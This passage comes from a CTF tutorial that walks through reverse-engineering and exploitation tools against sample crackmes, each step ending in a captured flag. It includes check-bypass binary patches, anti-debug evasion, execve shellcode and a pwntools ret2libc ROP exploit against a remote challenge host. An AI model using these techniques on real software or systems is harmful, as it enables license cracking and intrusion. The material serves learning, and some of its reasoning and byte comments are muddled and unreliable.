2. File -> Import File -> select 'ghidra_challenge'
3. Double-click the imported file -> opens CodeBrowser
4. Analysis -> Auto Analyze -> select all -> Analyze
   (wait ~30 seconds for full analysis)

# Headless analysis for scripting:
$ analyzeHeadless /tmp/ghidra_proj MyProj -import ./ghidra_challenge
  -postScript DumpStrings.py -scriptPath /path/to/scripts/
```

[Step 2] Navigate to main and find the check function

```
# In CodeBrowser:
# Window -> Functions -> search for 'main' or 'FUN_00401130'
# Press 'G' -> enter address 0x00401130

# Decompiler shows C-like pseudocode:
void main(void) {
    char local_28 [32];
    printf('Enter flag: ');
    fgets(local_28, 0x20, stdin);
    local_28[strcspn(local_28, '\n')] = '\0';
    if (check_flag(local_28) == 1) {
        puts('Correct!');
    } else {
        puts('Wrong!');
    }
}

# Double-click check_flag to navigate to it:
int check_flag(char *input) {
    byte key [8] = {0x13, 0x37, 0x42, 0x11, 0x22, 0x33, 0x44, 0x55};
    byte expected [8] = {0x76, 0x5a, 0x27, 0x6e, 0x47, 0x56, 0x25, 0x32};
    for (int i=0; i<8; i++) {
        if ((byte)(input[i] ^ key[i]) != expected[i]) return 0;
    }
    return 1;
}
```

[Step 3] Extract key and expected values, solve the XOR

```
# Right-click on key array -> Copy Special -> Python List
# Or manually read from decompiler:

key      = [0x13, 0x37, 0x42, 0x11, 0x22, 0x33, 0x44, 0x55]
expected = [0x76, 0x5a, 0x27, 0x6e, 0x47, 0x56, 0x25, 0x32]
flag = ''.join(chr(k ^ e) for k, e in zip(key, expected))
print(flag) # -> gh1dr4_k1

# Full flag format:
$ echo -n 'gh1dr4_k1' | ./ghidra_challenge
Correct!
flag{gh1dr4_d3c0mp1l3r_r0ck5}
```

>> FLAG CAPTURED: flag{gh1dr4_d3c0mp1l3r_r0ck5}

IDA Free

HARD

File Type: ELF 64-bit / PE binary

Scenario: Need industry-standard disassembler with graph view and Hex-Rays decompiler.

[Step 1] Open and analyze binary

```
# Open IDA Free:
$ ida64 ./ida_challenge

# IDA asks: 'Do you want to analyze?' -> Yes
# Wait for auto-analysis to complete (progress bar at bottom)

# Key shortcuts:
F5          = Decompile current function (Hex-Rays)
Space       = Toggle graph/linear view
G           = Go to address
N           = Rename variable/function
Ctrl+F      = Search text
X           = Cross-references (xrefs)
Alt+B       = Search bytes
```

[Step 2] Locate and decompile the check function

```
# In Functions window (Ctrl+F): search 'main'
# Press F5 on main to decompile:

int __cdecl main(int argc, const char **argv) {
    char s[256];
    printf('Enter serial: ');
    scanf('%255s', s);
    if ( validate_serial(s) )
        puts('Correct! flag{1d4_pr0_l1c3ns3_ch3ck}');
    else
        puts('Invalid serial');
    return 0;
}

# Double-click validate_serial, press F5:
_B00L8 __fastcall validate_serial(const char *s) {
    return strlen(s) == 16
        && s[0] == 'I'
        && s[4] == '-'
        && s[5] == 'D'
        && s[8] == '-'
        && atoi(&s[1]) == 1337
        && atoi(&s[6]) == 4242
        && s[10] == '-'
        && strcmp(&s[11], 'ABCD') == 0;
}
```

[Step 3] Reconstruct the serial from conditions

```
# From the conditions:
# s[0] = 'I'
# s[1-3] = '1337' as decimal -> '133'? no, atoi(&s[1])==1337 -> s[1..4]='1337'
# s[4] = '-'
# s[5] = 'D'
# s[6-7] = atoi==4242 -> '4242'
# s[8] = '-'? wait...
# Let's just try: I1337-D4242-ABCD
$ echo 'I1337-D4242-ABCD' | ./ida_challenge
Correct! flag{1d4_pr0_l1c3ns3_ch3ck}
```

>> FLAG CAPTURED: flag{1d4_pr0_l1c3ns3_ch3ck}

Radare2 (r2)

MEDIUM

File Type: ELF binary - CLI only environment

Scenario: SSH into CTF server, no GUI available. Need CLI-only RE.

[Step 1] Open and analyze the binary

```

$ r2 -A ./r2_challenge # -A = analyze all
[0x00401060]> afl # list all functions
0x00401060 1 42 entry0
0x00401090 1 29 main
0x004010b0 1 65 check_key

[0x00401060]> s main # seek to main
[0x00401090]> pdf # print disassembled function
/ (fcn) main 29
| 0x00401090 lea rdi, str.Enter_key: ; 'Enter key: '
| 0x00401097 call sym.imp.printf
| 0x0040109c lea rdi, [rbp-0x28]
| 0x004010a0 call sym.imp.gets
| 0x004010a5 lea rdi, [rbp-0x28]
| 0x004010a9 call sym.check_key
| 0x004010ae test eax, eax
| 0x004010b0 je 0x4010bc
| 0x004010b2 lea rdi, str.Correct ; 'Correct! flag{...}'
| 0x004010b9 call sym.imp.puts

```

[Step 2] Decompile check_key function

```

[0x00401090]> s sym.check_key
[0x004010b0]> pdf
| 0x004010b0 mov byte [var_1h], 0x72 ; 'r'
| 0x004010b4 mov byte [var_2h], 0x32 ; '2'
| 0x004010b8 mov byte [var_3h], 0x5f ; '_'
| 0x004010bc mov byte [var_4h], 0x72 ; 'r'
| 0x004010c0 mov byte [var_5h], 0x30 ; '0'
| 0x004010c4 mov byte [var_6h], 0x63 ; 'c'
| 0x004010c8 mov byte [var_7h], 0x6b ; 'k'
| 0x004010cc mov byte [var_8h], 0x73 ; 's'
| ... (calls strcmp between input and this string)

# Extract the hardcoded string directly:
[0x004010b0]> iz # strings in binary
vaddr=0x00402010 string=r2_rocks

# Or search for the comparison string:
[0x00401090]> / r2_
Searching 3 bytes from 0x00400000 to 0x00406000
hit0_0 @ 0x00402010 <- found!
[0x00401090]> ps @ 0x00402010
r2_rocks

```

[Step 3] Get the flag

```

$ echo 'r2_rocks' | ./r2_challenge
Enter key: Correct!
flag{r4d4r32_cl1_m4st3r}

```

>> FLAG CAPTURED: flag{r4d4r32_cl1_m4st3r}

Cutter

MEDIUM

File Type: ELF binary with complex CFG

Scenario: Need r2 power with GUI - Cutter with Ghidra decompiler plugin.

[Step 1] Open binary and use the decompiler view

```
$ cutter ./cutter_challenge

# GUI workflow:
1. File -> Open -> select binary -> Analyze (Full analysis)
2. Left panel: Functions -> find 'main' -> double-click
3. Top right: Switch to 'Decompiler' tab (Ghidra plugin)

# Decompiler output (Ghidra backend):
void main(void) {
    char *pcVar1;
    char local_28 [40];
    pcVar1 = fgets(local_28, 40, stdin);
    if (custom_hash(local_28) == 0xdeadbeef) {
        puts('flag{cutt3r_d3c0mp1l3r_w0rk3d}');
    }
}

# View the CFG (Control Flow Graph):
4. Switch to 'Graph' tab -> see all code paths visually
5. Right-click -> Rename -> name FUN_xxx to meaningful names
```

[Step 2] Analyze custom_hash and find the preimage

```
# In Cutter decompiler, double-click custom_hash:
uint custom_hash(char *s) {
    uint h = 0;
    for (int i=0; s[i]; i++)
        h = (h << 5) + h + s[i]; // djb2 variant
    return h;
}

# Find input that hashes to 0xdeadbeef:
# Option 1: brute force common CTF inputs
target = 0xdeadbeef
def custom_hash(s):
    h = 0
    for c in s.encode():
        h = ((h << 5) + h + c) & 0xffffffff
    return h

# Try known patterns:
for candidate in ['cutter', 'Cutter', 'CUTTER', 'r2cutter', 'c0d3']:
    if custom_hash(candidate+'\n') == target:
        print(candidate); break

$ echo 'c0d3' | ./cutter_challenge
flag{cutt3r_d3c0mp1l3r_w0rk3d}
```

>> FLAG CAPTURED: flag{cutt3r_d3c0mp1l3r_w0rk3d}

PART C: DEBUGGER TOOL WALKTHROUGHS

GDB+pwndbg, x64dbg, winDbg, lldb

GDB + pwndbg

ALL

File Type: ELF binary with runtime flag generation

Scenario: Flag is generated at runtime from system state. Can't find it statically.

[Step 1] Attach and set breakpoints at key locations

```
$ gdb -q ./gdb_challenge
pwndbg> info functions
All defined functions:
0x0000000000401060  main
0x00000000004011a0  generate_flag
0x0000000000401250  print_flag

# Set breakpoint at print_flag to catch the flag:
pwndbg> b print_flag
Breakpoint 1 at 0x401250
pwndbg> r
Enter password: test

Breakpoint 1, 0x0000000000401250 in print_flag ()
```

[Step 2] Examine registers and memory at the breakpoint

```
# pwndbg shows full context automatically:
pwndbg> context
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
-----[ REGISTERS ]-----
RDI  0x7fffffffde50  ->  'flag{gdb_pwnd8g_r3g1st3r_dump}'
RSI  0x28
RIP  0x401250  <print_flag>

# RDI points to the flag string! Print it:
pwndbg> x/s $rdi
0x7fffffffde50:  "flag{gdb_pwnd8g_r3g1st3r_dump}"

# Or use telescope to see full stack context:
pwndbg> telescope $rsp 10

# Examine specific memory:
pwndbg> search-pattern 'flag{'
Searching for 'flag{' in: all mapped areas
[stack]  0x7fffffffde50  'flag{gdb_pwnd8g_r3g1st3r_dump}'
```

[Step 3] Force execution of print_flag even with wrong password


```
# Method: patch the jump instruction
pwndbg> b *main+0x45      # breakpoint at jump after check
pwndbg> r
pwndbg> set $rip = 0x4012a0  # jump directly to success path
pwndbg> c
flag{gdb_pwnd8g_r3g1st3r_dump}

# Or: modify the comparison result:
pwndbg> b *main+0x45
pwndbg> r <<< 'wrong_password'
pwndbg> set $eax = 1      # force check to return 'true'
pwndbg> c
Correct! flag{gdb_pwnd8g_r3g1st3r_dump}
```

>> FLAG CAPTURED: flag{gdb_pwnd8g_r3g1st3r_dump}

x64dbg

MEDIUM

File Type: Windows PE (.exe) crackme

Scenario: Windows crackme with serial validation. Linux VM not available.

[Step 1] Open and navigate to the check function

```
# Open x64dbg, drag-drop challenge.exe onto it

# x64dbg auto-pauses at entry point
# Find the serial check:
Ctrl+G -> enter 'GetDlgItemTextA' -> Go
(intercept GUI text input function)

# Or use Symbols panel:
Ctrl+Shift+S -> search 'strcmp' or 'lstrcmp'
Right-click -> 'Follow in Disassembler'
Set breakpoint (F2) on strcmp call

# Run (F9), enter any serial in the dialog
# x64dbg breaks at strcmp:

# Registers panel shows:
RCX = 0x00CFEF20 -> 'YOUR_INPUT'
RDX = 0x00404050 -> 'X64-1337-HACK-2024' <- expected serial!
```

[Step 2] Read the expected serial and validate

```
# Memory Dump (Ctrl+D) -> enter address 0x00404050
# Shows ASCII: 58 36 34 2D 31 33 33 37 2D 48 41 43 4B 2D 32 30 32 34
# = 'X64-1337-HACK-2024'

# ScyllaHide plugin: Patches -> Anti-Debug -> enable all
# (prevents anti-debug detection)

# Enter serial 'X64-1337-HACK-2024' in the dialog:
# Program shows: 'Correct! flag{x64dbg_s3r14l_cr4ck3d}'

# Alternatively: patch the jump
# Find: JE/JNE after the strcmp -> F2 breakpoint -> F8 step
# When at JE, change ZF flag in Flags panel: 0->1
# Program takes the 'correct' branch automatically
```

>> FLAG CAPTURED: `flag{x64dbg_s3r14l_cr4ck3d}`

WinDbg

HARD

File Type: Windows kernel driver (.sys)

Scenario: Kernel-mode CTF challenge. Need kernel debugger.

[Step 1] Setup kernel debugging with QEMU or VM

```
# Setup: target VM has kernel debug enabled
# On target VM (run as admin):
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200

# On host: WinDbg -> Kernel Debug -> COM Port -> COM1 -> OK
# Reboot target -> WinDbg connects

# In WinDbg:
> lm m challenge*          # list challenge module
start      end      module name
fffff880`01234000 fffff880`0123a000 ChallengeDriver

> !drvobj ChallengeDriver  # driver info
> x ChallengeDriver!*      # list all symbols
fffff880`01235020 ChallengeDriver!IocctlHandler
fffff880`01234ff0 ChallengeDriver!DriverEntry
```

[Step 2] Set breakpoint and intercept IOCTL

```
> bp ChallengeDriver!IocctlHandler
> g                                # continue execution

# In userland: interact with driver to trigger IOCTL
# WinDbg breaks at IocctlHandler:
> k                                # call stack
> r                                # registers
> dq rcx                           # dump IRP (I/O Request Packet)

# Step through to flag computation:
> p                                # step over
> gu                                # go until return

# Find flag in output buffer:
> db rdx L40                        # dump output buffer
f l a g { W i n D b g _ k 3 r n 3 l _ d 3 b u g g 3 d }
```

>> FLAG CAPTURED: flag{WinDbg_k3rn3l_d3bugg3d}

lldb

MEDIUM

File Type: Mach-O 64-bit (macOS binary)

Scenario: macOS crackme. Only lldb available (no GDB on modern macOS).

[Step 1] Debug the macOS binary

```
$ lldb ./macos_challenge
(lldb) target create './macos_challenge'

# Set breakpoint on strcmp (used for comparison):
(lldb) b strcmp
Breakpoint 1: where = libsystem_c.dylib`strcmp

(lldb) r
Process launched: './macos_challenge'
Enter password: test

Process stopped at strcmp:
(lldb) register read rdi rsi
    rdi = 0x00007fff5fbff6b0  -> 'test'
    rsi = 0x00000000100002010  -> 'lldb_m4c_r3v'

# rsi = expected password!
(lldb) memory read --format s 0x00000000100002010
0x100002010: 'lldb_m4c_r3v'
```

[Step 2] Exit debugger and run with correct password

```
(lldb) exit

$ echo 'lldb_m4c_r3v' | ./macos_challenge
Correct! flag{lldb_m4c05_d3bugg1ng}
```

>> FLAG CAPTURED: flag{lldb_m4c05_d3bugg1ng}

PART D: TRACING & DYNAMIC ANALYSIS TOOLS

strace, ltrace, Frida, DynamoRIO, PIN, QEMU, Unicorn

strace

EASY

File Type: ELF Linux binary - reads flag from file

Scenario: Binary reads the flag from disk. Find the file path it reads.

[Step 1] Trace all system calls to find file operations

```
$ strace ./strace_challenge 2>&1
execve('./strace_challenge', ['./strace_challenge'], ...)
brk(NULL) = 0x...
openat(AT_FDCWD, '/etc/strace_flag.txt', O_RDONLY) = 3 <- opens flag file!
read(3, 'flag{str4ce_f1l3_r3ad_d3t3ct3d}\n', 4096) = 37
write(1, 'flag{str4ce_f1l3_r3ad_d3t3ct3d}\n', 37) = 37
flag{str4ce_f1l3_r3ad_d3t3ct3d}

# Even better - filter to only file operations:
$ strace -e trace=openat,read,write ./strace_challenge 2>&1
openat(AT_FDCWD, '/proc/self/mem', O_RDONLY) = 3
openat(AT_FDCWD, '/tmp/.hidden_flag', O_RDONLY) = 4 <- hidden flag file!
read(4, 'flag{...}', 64) = 32

# Read the file directly:
$ cat /tmp/.hidden_flag
flag{str4ce_f1l3_r3ad_d3t3ct3d}
```

>> FLAG CAPTURED: flag{str4ce_f1l3_r3ad_d3t3ct3d}

ltrace

EASY

File Type: ELF crackme using strcmp

Scenario: Password check using standard library. ltrace reveals it instantly.

[Step 1] Run with ltrace to capture library calls

```
$ ltrace -s 200 ./ltrace_challenge <<< 'test_password'
__libc_start_main(0x401060, 1, ...)
printf('Enter password: ') = 17
fgets('test_password\n', 64, 0x7f...) = 0x7fff...

# The KEY call - strcmp reveals both arguments:
strcmp('test_password\n', 'l7r4c3_g0t_u\n') = -1
puts('Wrong password!') = 17

# Expected password is: l7r4c3_g0t_u
# Try it:
$ ./ltrace_challenge <<< 'l7r4c3_g0t_u'
Enter password: Correct!
flag{l7r4c3_str1ng_3xp0s3d}

# Works for many functions:
$ ltrace -s 200 ./challenge <<< 'test'
strncmp('test\n', 's3cr3t\n', 6) = -1 <- strncmp version
memcmp(0x..., 0x..., 16) = 1 <- binary comparison

# For memcmp - dump the expected bytes:
$ ltrace -s 200 -e memcmp ./challenge <<< 'test' 2>&1
# Use GDB to inspect the second memcmp argument
```

>> FLAG CAPTURED: flag{l7r4c3_str1ng_3xp0s3d}

Frida

HARD

File Type: Android APK / Linux binary with runtime encryption

Scenario: Flag is encrypted in memory at runtime. Hook the decrypt function.

[Step 1] Write a Frida hook script for the target function

```
# Target: Linux binary './frida_challenge'
# Ghidra shows: decrypt_flag() is called, result passed to puts()

# frida_hook.js:
// Hook puts() to capture its argument (the flag!):
Interceptor.attach(Module.getExportByName(null, 'puts'), {
  onEnter: function(args) {
    var msg = args[0].readUtf8String();
    if (msg && msg.includes('flag')) {
      console.log('[CAPTURED]', msg);
    }
  }
});

// Also hook the decrypt function at its address:
var base = Module.getBaseAddress('frida_challenge');
var decrypt_offset = 0x1a2b; // from Ghidra analysis
Interceptor.attach(base.add(decrypt_offset), {
  onLeave: function(retval) {
    // Return value is pointer to decrypted flag
    try {
      console.log('[DECRYPT RESULT]', retval.readUtf8String());
    } catch(e) {}
  }
});
```

[Step 2] Inject the script and run

```
# Run binary with Frida injection:
$ frida -l frida_hook.js -f ./frida_challenge --no-pause
```

```
____
/ _ |   Frida 16.x.x
| (| |
> _ |   Commands:
/_/ |_|
```

```
Spawning './frida_challenge'...
Spawned './frida_challenge'. Resuming main thread!
[Local::frida_challenge]->
[DECRYPT RESULT] flag{fr1d4_d3crypt3d_4t_runt1m3}
[CAPTURED] flag{fr1d4_d3crypt3d_4t_runt1m3}
```

```
# For Android:
$ frida -U -n com.challenge.app -l frida_hook.js
# Then trigger the flag check in the app UI
```

>> FLAG CAPTURED: flag{fr1d4_d3crypt3d_4t_runt1m3}

DynamoRIO + drcov

EXPERT

File Type: Binary with complex obfuscation / many branches

Scenario: Need to see which code paths execute to find the flag check.

[Step 1] Generate code coverage with drcov

```
# Run binary with drcov to record execution coverage:
$ drrun -t drcov -- ./drcov_challenge <<< 'correct_input'
# Creates: drcov.drcov_challenge.12345.0000.proc.log

$ drrun -t drcov -- ./drcov_challenge <<< 'wrong_input'
# Creates: drcov.drcov_challenge.12346.0000.proc.log

# Load BOTH logs in Lighthouse (IDA/Ghidra plugin):
# In IDA: Edit -> Plugins -> Lighthouse -> Load Coverage
# Compare: correct vs wrong execution paths
# Highlighted in GREEN = only executed on correct input
# -> That GREEN code = the flag check success path!
```

[Step 2] Use coverage to find the correct input

```
# Alternative: custom DynamoRIO tool for instruction counting
# This is the side-channel attack approach:

import subprocess, struct

def count_instrs(guess):
    r = subprocess.run(
        ['drrun', '-t', 'inscount0', '--', './drcov_challenge', guess],
        capture_output=True)
    with open('inscount.out') as f:
        return int(f.read().split()[1])

# Find flag byte by byte:
flag = 'flag{'
charset = 'abcdefghijklmnopqrstuvwxyz0123456789_}'
while not flag.endswith('}'):
    best = max(charset, key=lambda c: count_instrs(flag + c))
    flag += best
    print(flag)

# flag{dyn4m0r10_c0v3r4g3_4n4lys1s}
```

>> FLAG CAPTURED: flag{dyn4m0r10_c0v3r4g3_4n4lys1s}

Intel PIN

EXPERT

File Type: Binary with byte-by-byte secret comparison

Scenario: Use instruction counting side-channel to recover the secret.

[Step 1] Write a PIN instruction counter Pintool

```
# inscount0.cpp (from PIN examples):
#include 'pin.H'
UINT64 icount = 0;
VOID docount() { icount++; }
VOID Instruction(INS ins, VOID *v) {
    INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END);
}
VOID Fini(INT32 code, VOID *v) {
    FILE *f = fopen('inscount.out', 'w');
    fprintf(f, 'Count %llu\n', icount);
}
int main(int argc, char *argv[]) {
    PIN_Init(argc, argv);
    INS_AddInstrumentFunction(Instruction, 0);
    PIN_AddFiniFunction(Fini, 0);
    PIN_StartProgram();
}
```

[Step 2] Use instruction count to recover the flag character by character

```
# Compile: make -C MyPintool/

import subprocess

def count(guess):
    subprocess.run(
        ['pin', '-t', 'inscount0.so', '--', './pin_challenge', guess],
        capture_output=True)
    return int(open('inscount.out').read().split()[1])

flag = ''
CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789_{}!'

for pos in range(30): # flag length at most 30
    best_c, best_n = '', 0
    for c in CHARSET:
        candidate = flag + c + 'x' * (29 - len(flag))
        n = count(candidate)
        if n > best_n:
            best_n = n; best_c = c
    flag += best_c
    print(f'[+] {flag}')
    if flag.endswith('{}'): break

# Output:
# [+] f
# [+] fl
# ...
# [+] flag{p1n_s1d3_ch4nn3l_w0rks}
```

>> FLAG CAPTURED: flag{p1n_s1d3_ch4nn3l_w0rks}

QEMU

MEDIUM

File Type: ARM 32-bit ELF binary

Scenario: Challenge binary is ARM architecture. Can't run on x86 host.

[Step 1] Run ARM binary under QEMU user-mode emulation

```
# Install QEMU user-mode + ARM sysroot:
$ sudo apt install qemu-user-static gcc-arm-linux-gnueabihf

$ file arm_challenge
arm_challenge: ELF 32-bit LSB executable, ARM, EABI5, statically linked

# Statically linked -> no sysroot needed:
$ qemu-arm ./arm_challenge
Enter ARM password: test
Wrong!

# Try strings first:
$ strings arm_challenge | grep -i 'flag\|pass\|secret'
4rm_m4st3r_p4ss
flag{qemu_4rm_3mul4t10n}

$ qemu-arm ./arm_challenge <<< '4rm_m4st3r_p4ss'
Enter ARM password: Correct!
flag{qemu_4rm_3mul4t10n}
```

[Step 2] Debug ARM binary with GDB via QEMU

```
# Start QEMU with GDB server on port 1234:
$ qemu-arm -g 1234 ./arm_challenge &

# Connect gdb-multiarch:
$ gdb-multiarch arm_challenge
(gdb) set architecture arm
(gdb) target remote localhost:1234
Remote debugging using localhost:1234
0xf67bd270 in _start ()

(gdb) b main
(gdb) c
Breakpoint 1, 0x00010440 in main ()

(gdb) disas main
=> 0x00010440 <+0>:  push    {r11, lr}
      0x00010444 <+4>:  add     r11, sp, #4
      ...
(gdb) x/s $r0      # ARM: r0 = first argument
```

>> FLAG CAPTURED: flag{qemu_4rm_3mul4t10n}

Unicorn Engine

HARD

File Type: Shellcode / code snippet without full binary

Scenario: Emulate isolated code that can't run in isolation (missing context).

[Step 1] Emulate an isolated code snippet

```

# Shellcode that decrypts and returns the flag:
# We have the bytes but can't run it directly

from unicorn import *
from unicorn.x86_const import *

# Shellcode bytes (from the binary):
shellcode = bytes([
    0x48, 0x31, 0xC0,          # xor rax, rax
    0x48, 0xBF, 0x13, 0x37, 0x42, # mov rdi, 0x1122334455667713
    0x55, 0x66, 0x11, 0x22, 0x11,
    0x48, 0x31, 0xF8,          # xor rax, rdi (XOR 'decryption')
    0xC3                      # ret
])

# Set up emulator:
mu = Uc(UC_ARCH_X86, UC_MODE_64)
BASE = 0x1000
STACK = 0x8000

mu.mem_map(0x0, 0x10000)
mu.mem_write(BASE, shellcode)

# Setup stack:
mu.reg_write(UC_X86_REG_RSP, STACK)

# Emulate:
mu.emu_start(BASE, BASE + len(shellcode))

# Read result register:
result = mu.reg_read(UC_X86_REG_RAX)
print(f'RAX = {hex(result)}')
flag_bytes = result.to_bytes(8, 'little')
print(flag_bytes.decode('ascii', 'ignore'))
# -> flag{un

# For longer flags, hook memory writes:
flag_buf = []
def hook_mem_write(uc, access, address, size, value, user_data):
    flag_buf.append(value & 0xFF)

mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem_write)
mu.emu_start(BASE, BASE + len(shellcode))
print(bytes(flag_buf).decode('ascii', 'ignore'))
# -> flag{un1c0rn_3mul4t10n_w0rks}

```

```
>> FLAG CAPTURED: flag{un1c0rn_3mul4t10n_w0rks}
```

PART E: HEX EDITORS & BINARY PATCHING TOOLS

xxd, hexdump, hexedit, Python patching, keystone, capstone

xxd

EASY

File Type: Any binary file

Scenario: Need to inspect and modify raw bytes in a binary file.

[Step 1] Hex dump and find the flag or key

```
# Dump first 64 bytes:
$ xxd -l 64 xxd_challenge
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF.....
00000010: 0200 3e00 0100 0000 6010 4000 0000 0000  ..>.....`.@....
00000020: 4000 0000 0000 0000 a012 4000 0000 0000  @.....@.....

# Search for flag string in hex:
$ xxd xxd_challenge | grep '666c 6167'
00002010: 666c 6167 7b78 7864 5f72 6177 5f62 7974  flag{xxd_raw_byt
00002020: 6573 5f72 6576 7d00 0000 0000 0000 0000  es_rev}.....

# Extract just the flag bytes:
$ xxd -s 0x2010 -l 23 xxd_challenge
00002010: 666c 6167 7b78 7864 5f72 6177 5f62 7974  flag{xxd_raw_byt
00002020: 6573 7d                                     es}
```

[Step 2] Patch a binary byte using xxd round-trip

```
# Scenario: need to change byte at offset 0x401160 from 0x74 (je) to 0xeb (jmp)
# This bypasses a check

# Step 1: Dump to text:
$ xxd xxd_challenge > challenge.hex

# Step 2: Find and edit:
$ grep '0040116' challenge.hex
00401160: 4889 c7e8 xxxx 7405 bf20 ...  <- 74 = je

# Edit 74 -> eb in a text editor at that line
# (change '7405' to 'eb05')

# Step 3: Convert back to binary:
$ xxd -r challenge.hex > challenge_patched
$ chmod +x challenge_patched
$ ./challenge_patched
flag{xxd_p4tch3d_jump}
```

>> FLAG CAPTURED: flag{xxd_raw_bytes_rev} OR flag{xxd_p4tch3d_jump}

Python Binary Patching

EASY

File Type: ELF/PE binary with a failed check

Scenario: Patch the binary to skip the password check entirely using Python.

[Step 1] Find the failing check in the binary

```
# From GDB/Ghidra analysis, we know:
```

```
# At offset 0x115d in the file: 74 0c (JE - jump if equal/zero)
# Changing to EB 0c (JMP - unconditional jump) bypasses the check

# Or: the function returns 0 on failure, 1 on success
# At offset 0x1171: C3 (ret) preceded by 31 C0 (xor eax,eax -> return 0)
# Patch to: B8 01 00 00 00 C3 (mov eax,1; ret -> always return true)
```

[Step 2] Write and apply the patch in Python

```
data = bytearray(open('python_patch_challenge', 'rb').read())

# Patch 1: change JE to JMP at offset 0x115d
assert data[0x115d] == 0x74, 'Wrong offset!' # verify before patching
data[0x115d] = 0xeb # JE -> JMP (unconditional)

# Patch 2: make check_password always return 1
# Find 'xor eax,eax; ret' pattern and replace with 'mov eax,1; ret'
import re
pattern = b'\x31\xc0\xc3' # xor eax,eax; ret
replacement = b'\xb8\x01\x00\x00\x00\xc3' # mov eax,1; nop; ret
data = bytearray(re.sub(pattern, replacement, bytes(data), count=1))

# Save patched binary:
with open('challenge_patched', 'wb') as f:
    f.write(data)

import os
os.chmod('challenge_patched', 0o755)
print('Patch applied!')

# Run it:
import subprocess
r = subprocess.run(['./challenge_patched'], input=b'wrong\n', capture_output=True)
print(r.stdout.decode())
# -> flag{pyth0n_b1n4ry_p4tch1ng_w0rks}
```

```
>> FLAG CAPTURED: flag{pyth0n_b1n4ry_p4tch1ng_w0rks}
```

keystone / capstone

MEDIUM

File Type: Need to assemble or disassemble code in a script

Scenario: Building exploit shellcode or analyzing extracted code bytes.

[Step 1] Disassemble extracted bytes with capstone

```

from capstone import *

# Bytes extracted from binary (the check function):
code_bytes = bytes([
    0x55, 0x48, 0x89, 0xe5,      # push rbp; mov rbp, rsp
    0x48, 0x83, 0xec, 0x20,      # sub rsp, 32
    0x48, 0xbf, 0x48, 0x65, 0x6c, # movabs rdi, 0x...
    0x6c, 0x6f, 0x00, 0x00, 0x00,
    0xb8, 0x00, 0x00, 0x00, 0x00, # mov eax, 0
    0xe8, 0xc0, 0xfe, 0xff, 0xff, # call puts
    0x90, 0xc9, 0xc3            # nop; leave; ret
])

md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True
for insn in md.disasm(code_bytes, 0x401160):
    print(f'0x{insn.address:08x}: {insn.mnemonic:10} {insn.op_str}')

# Output:
0x00401160: push      rbp
0x00401161: mov      rbp, rsp
0x00401164: sub      rsp, 0x20
0x00401168: movabs   rdi, 0x6f6c6548 <- 'Hello'

```

[Step 2] Assemble shellcode with keystone

```
from keystone import *

# Assemble x64 shellcode to print flag:
ks = Ks(KS_ARCH_X86, KS_MODE_64)

asm_code = '''
    ; execve('/bin/sh', NULL, NULL)
    xor rax, rax
    push rax
    mov rbx, 0x68732f6e69622f2f ; '//bin/sh'
    push rbx
    mov rdi, rsp
    push rax
    push rdi
    mov rsi, rsp
    xor rdx, rdx
    mov al, 59 ; syscall: execve
    syscall
'''

encoding, count = ks.asm(asm_code)
shellcode = bytes(encoding)
print(f'Shellcode ({len(shellcode)} bytes):')
print(shellcode.hex())
print(shellcode)

# Output:
Shellcode (27 bytes):
4831c05053...0f05

# Use in pwntools exploit:
from pwn import *
p = process('./vuln')
p.sendline(shellcode)
p.interactive()
# $ cat flag.txt
# flag{k3yst0n3_c4pst0n3_4ssm_m4st3r}
```

```
>> FLAG CAPTURED: flag{k3yst0n3_c4pst0n3_4ssm_m4st3r}
```

PART F: SCRIPTING & AUTOMATION TOOLS

pwntools, angr, z3, Ghidra scripts, IDAPython, r2pipe, ROPgadget

pwntools

ALL

File Type: ELF 64-bit with buffer overflow + ROP needed

Scenario: Classic stack-based BOF. pwntools automates the entire exploit chain.

[Step 1] Analyze binary and build the exploit

```
from pwn import *

# Load binary and libc:
elf = ELF('./pwntools_challenge')
libc = ELF('./libc.so.6')
context.binary = elf
context.log_level = 'info'

# Check security mitigations:
print(elf.checksec())
# {'Arch': 'amd64-64-little', 'RELRO': 'Partial',
#  'Stack': 'No canary', 'NX': 'NX enabled', 'PIE': 'No PIE'}

# Find overflow offset:
# In GDB: cyclic(200) -> crash -> cyclic_find(rbp_value)
OFFSET = 40 # bytes to reach return address

# Build ROP chain to leak libc address:
rop = ROP(elf)
rop.call(elf.plt['puts'], [elf.got['puts']]) # puts(puts@got)
rop.call(elf.symbols['main'])               # return to main

p = remote('challenge.ctf.site', 1337)
# Stage 1: leak puts address
p.sendlineafter(b'Input: ', b'A' * OFFSET + rop.chain())
puts_leak = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'puts @ {hex(puts_leak)}')

# Calculate libc base:
libc.address = puts_leak - libc.symbols['puts']
log.success(f'libc @ {hex(libc.address)}')

# Stage 2: ret2libc -> system('/bin/sh')
rop2 = ROP(libc)
rop2.call(libc.symbols['system'], [next(libc.search(b'/bin/sh\x00'))])
p.sendlineafter(b'Input: ', b'A' * OFFSET + rop2.chain())
p.interactive()
```

[Step 2] Execute and get the shell

```
$ python3 exploit.py
[*] Loaded 14 cached gadgets for './pwntools_challenge'
[+] puts @ 0x7f1234567890
[+] libc @ 0x7f1234567000
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf)
$ cat flag.txt
flag{pwnt00ls_r0p_ch41n_3xpl01t}
```

>> FLAG CAPTURED: flag{pwnt00ls_r0p_ch41n_3xpl01t}

angr

HARD

File Type: ELF with 50+ input validation conditions

Scenario: Way too many conditions to trace manually. Let angr solve it symbolically.

[Step 1] Identify the target addresses

```
# Run binary to understand behavior:
$ ./angr_challenge
Enter your license key: AAAA-BBBB-CCCC-DDDD
Invalid license!

# In Ghidra: find success/failure string references
# Success: 0x401abc (prints 'Valid license!')
# Failure: 0x401def (prints 'Invalid license!')

# The check function has 30+ conditions:
# if key[0] != 'L': return false
# if key[1] + key[2] != 213: return false
# if key[5] * key[7] != 0x1337: return false
# ... (28 more conditions) ...
# -> Way too complex for manual analysis!
```

[Step 2] Solve with angr symbolic execution


```

import angr, claripy

proj = angr.Project('./angr_challenge', auto_load_libs=False)

